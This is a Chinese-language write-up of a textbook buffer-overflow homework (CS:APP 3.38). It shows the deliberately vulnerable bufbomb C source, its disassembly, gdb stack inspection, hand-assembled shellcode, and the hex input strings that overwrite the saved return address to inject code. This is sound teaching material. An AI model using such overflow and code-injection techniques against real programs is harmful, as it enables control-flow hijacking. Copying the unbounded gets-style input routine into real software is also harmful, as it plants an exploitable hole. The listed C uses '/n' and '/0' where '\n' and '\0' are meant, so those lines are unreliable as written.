<<深入理解计算机系统>>家庭作业3.38, 分析全过程

Technorati 标签: linux汇编 栈指针 函数栈

<<深入理解计算机系统>>家庭作业3.38, 分析全过程

问题: 输入一个16进制的字符串, 使得程序输出0xdeadbeef

在 windows + MinGW-gcc + MinGW-gdb 测试通过;
在 linux + gcc + gdb 测试没通过.

##############################################################################
/* 源程序 */
/* Bomb program that is solved using a buffer overflow attack */

#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>

/* Like gets, except that characters are typed as pairs of hex digits.
   Nondigit characters are ignored.  Stops when encounters newline */
char *getxs(char *dest)
{
    int c;
    int even = 1; /* Have read even number of digits */
    int otherd = 0; /* Other hex digit of pair */
    char *sp = dest;
    while ((c = getchar()) != EOF && c != '/n') {
        if (isxdigit(c)) {
            int val;
            if ('0' <= c && c <= '9')
                val = c - '0';
            else if ('A' <= c && c <= 'F')
                val = c - 'A' + 10;
            else
                val = c - 'a' + 10;

            if (even) {
                otherd = val;
                even = 0;
            } else {
                *sp++ = otherd * 16 + val;
                even = 1;
            }
        }
    }
    *sp++ = '/0';
    return dest;
}

/* $begin getbuf-c */
int getbuf()
{
    char buf[12];
    getxs(buf);
    return 1;
}

void test()
{
    int val;
    printf("Type Hex string:");
    val = getbuf();
    printf("getbuf returned 0x%x/n", val);
}
/* $end getbuf-c */

int main()
{

    int buf[16];
    /* This little hack is an attempt to get the stack to be in a
       stable position */
    int offset = (((int) buf) & 0xFFF);
    int *space = (int *) alloca(offset);
    *space = 0; /* So that don't get complaint of unused variable */
    test();
    return 0;
}

##############################################################################
编译, 然后反编译.
$gcc -o bufbomb bufbomb.c
$objdump -d bufbomb > bufbomb_obj.s

bufbomb_obj.s 部分内容为:
004013b6 <_getbuf>:
  4013b6:    55                       push   %ebp
  4013b7:    89 e5                    mov    %esp,%ebp
  4013b9:    83 ec 28                 sub    $0x28,%esp
  4013bc:    8d 45 e8                 lea    0xffffffe8(%ebp),%eax
  4013bf:    89 04 24                 mov    %eax,(%esp)
  4013c2:    e8 29 ff ff ff           call   4012f0 <_getxs>
  4013c7:    b8 01 00 00 00           mov    $0x1,%eax
  4013cc:    c9                       leave 
  4013cd:    c3                       ret   

004013ce <_test>:
  4013ce:    55                       push   %ebp
  4013cf:    89 e5                    mov    %esp,%ebp
  4013d1:    83 ec 18                 sub    $0x18,%esp
  4013d4:    c7 04 24 00 30 40 00     movl   $0x403000,(%esp)
  4013db:    e8 08 06 00 00           call   4019e8 <_printf>
  4013e0:    e8 d1 ff ff ff           call   4013b6 <_getbuf>
  4013e5:    89 45 fc                 mov    %eax,0xfffffffc(%ebp) ;;########
  4013e8:    8b 45 fc                 mov    0xfffffffc(%ebp),%eax
  4013eb:    89 44 24 04              mov    %eax,0x4(%esp)
  4013ef:    c7 04 24 11 30 40 00     movl   $0x403011,(%esp)
  4013f6:    e8 ed 05 00 00           call   4019e8 <_printf>
  4013fb:    c9                       leave 
  4013fc:    c3                       ret   

重要信息:
在getbuf帧中, buf地址为%ebp-24(lea    0xffffffe8(%ebp),%eax), 同时还要注意到分
配的空间比要求的(12bytes)大12bytes.
           |            |
           |------s---|
           |            |
           |---------| 保存的返回地址
           |            |
        0 |----------| %ebp
           |   [23]   |
           |    .       |
           |    .       |
           |    .       |
           |   [12]  |
    -12 |----------|
           |   [11]   |
           |     .      |
           |     .      |
           |     .      |
           |    [0]   |
     -24 |---------| buf
           |            |
           |            |
           |            |
           |            |
           |            |
           |            |
           |      .     |
                  .            
                  .    

           图: getbuf帧结构

从图可以看出, 要达到目的(求解该问题)的一个方法是: 通过溢出修改"保存的返回地址
", 使它变为buf的地址, 而从buf处开始存放新指令(自己设置的, 能过读入字串, 功能即
是题目的要求), 并且在"功能指令"后存放一条指令, 使得程序跳转回"原先保存的返回地
址", 从而使得程序继续正常地执行.

输入的字符串形式:
(功能代码) (可能的多余字节)(旧%ebp的值)(指向功能代码的地址)

##############################################################################
用gdb调试并查询收集相关信息:

; 在getbuf设置断点, 查看得以下信息:
(gdb) p /x *((int*)$ebp + 1) ; getbuf的返回地址, (test栈帧所保存的返回地址)
$18 = 0x4013e5
(gdb) p /x *((int*)$ebp) ; %ebp的值, 保存的帧
$8 = 0x22efb8
(gdb) p /x $ebp -24 ; buf首地址
$9 = 0x22ef80
(gdb) p /x *((int*)$ebp - 1) ; 未知地址1的值
$10 = 0xfffffffe
(gdb) p /x *((int*)$ebp - 2) ; 未知地址2的值
$11 = 0x2752d781
(gdb) p /x *((int*)$ebp - 3) ; 未知地址3的值
$12 = 0x772c24b5
(gdb) p /x ((int*)$ebp - 6) ; buf首地址
$13 = 0x22ef80

##############################################################################
生成"自己设置的功能指令":
定一个汇编程序:
mov     $0xdeadbeef, %eax   ; 题目要求
mov     $0x004013e5, %edx   ;
jmp     *%edx               ; 使程序跳转到buf处
编译:
gcc -c show.s
反编译:
objdump -d show.o >show_obj.s
查看show_obj.s文件:
show.o:     file format pe-i386

Disassembly of section .text:

00000000 <.text>:
   0:    b8 ef be ad de           mov    $0xdeadbeef,%eax
   5:    ba e5 13 40 00           mov    $0x4013e5,%edx
   a:    ff e2                    jmp    *%edx
   c:    90                       nop   
   d:    90                       nop   
   e:    90                       nop   
   f:    90                       nop   

##############################################################################
组装收集到的信息进行组装攻击, 测试结果如下:

==============================================================================
(gdb) c
Continuing.
b8efbead debae513 4000ffe2 b5242c77 c5a3f03a feffffff b8ef2200 80ef2200
getbuf returned 0xdeadbeef

Program exited normally.

------------------------------------------------------------------------------
分析输入的字符串:
b8efbead debae513 4000ffe2             b5242c77 c5a3f03a feffffff           b8ef2200           80ef2200
    "自己设置的功能指令"                              buf[12]~buf[23]中的值              保存的帧               buf的地址
    (从show_obj.s中得到)                                           

==============================================================================
(gdb) c
Continuing.
b8efbead debae513 4000ffe2 00000000 00000000 00000000  b8ef2200 80ef2200
getbuf returned 0xdeadbeef

Program exited normally.
(gdb)

==============================================================================
(gdb) c
Continuing.
b8efbead debae513 4000ffe2 000d0000 00300030 00900000  b8ef2200 80ef2200
getbuf returned 0xdeadbeef

Program exited normally.
(gdb)

从这三次测试可知: buf[12]~buf[23]的值并不影响程序的运行和结果.

你可能感兴趣的:(c,汇编,测试,hex,作业,newline)